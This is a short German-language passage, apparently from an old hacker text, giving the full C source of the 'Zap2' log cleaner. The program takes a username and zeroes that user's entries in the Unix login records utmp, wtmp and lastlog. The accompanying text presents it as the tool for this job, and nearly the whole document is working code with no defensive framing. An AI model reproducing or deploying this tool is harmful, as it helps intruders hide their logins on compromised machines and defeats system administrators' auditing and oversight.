editier mal /etc/utmp, /usr/adm/wtmp
und /usr/adm/lastlog. Es handelt sich hierbei nicht um text files, die
bei hand mit vi geändert werden können. du mußt schon ein
programm dafür verwenden, dass genau dafür gemacht ist....
zum beispiel das, dass hier folgt:
übergeben wird der benutzername
(argv[1] == username)
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME
"/usr/adm/wtmp"
#define UTMP_NAME
"/etc/utmp"
#define LASTLOG_NAME
"/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp
utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0)
{
while(read
(f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char
*)&utmp_ent,sizeof( utmp_ent ));
lseek (f,
-(sizeof (utmp_ent)), SEEK_CUR);
write (f,
&utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp
utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0)
{
while(pos
!= -1L) {
lseek(f,-(long)(
(sizeof(struct utmp)) * pos),L_XTND);
if (read (f,
&utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
}
else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char
*)&utmp_ent,sizeof(struct utmp ));
lseek(f,-(
(sizeof(struct utmp)) * pos),L_XTND);
write (f,
&utmp_ent, sizeof (utmp_ent));
pos = -1L;
}
else
pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd
*pwd;
struct lastlog
newll;
if ((pwd=getpwnam(who))!=NULL)
{
if ((f=open(LASTLOG_NAME,
O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid
* sizeof (struct lastlog), 0);
bzero((char
*)&newll,sizeof( newll ));
write(f, (char
*)&newll, sizeof( newll ));
close(f);
}
}
else
printf("%s:
?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2)
{
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
}
else
printf("Error.\n");
}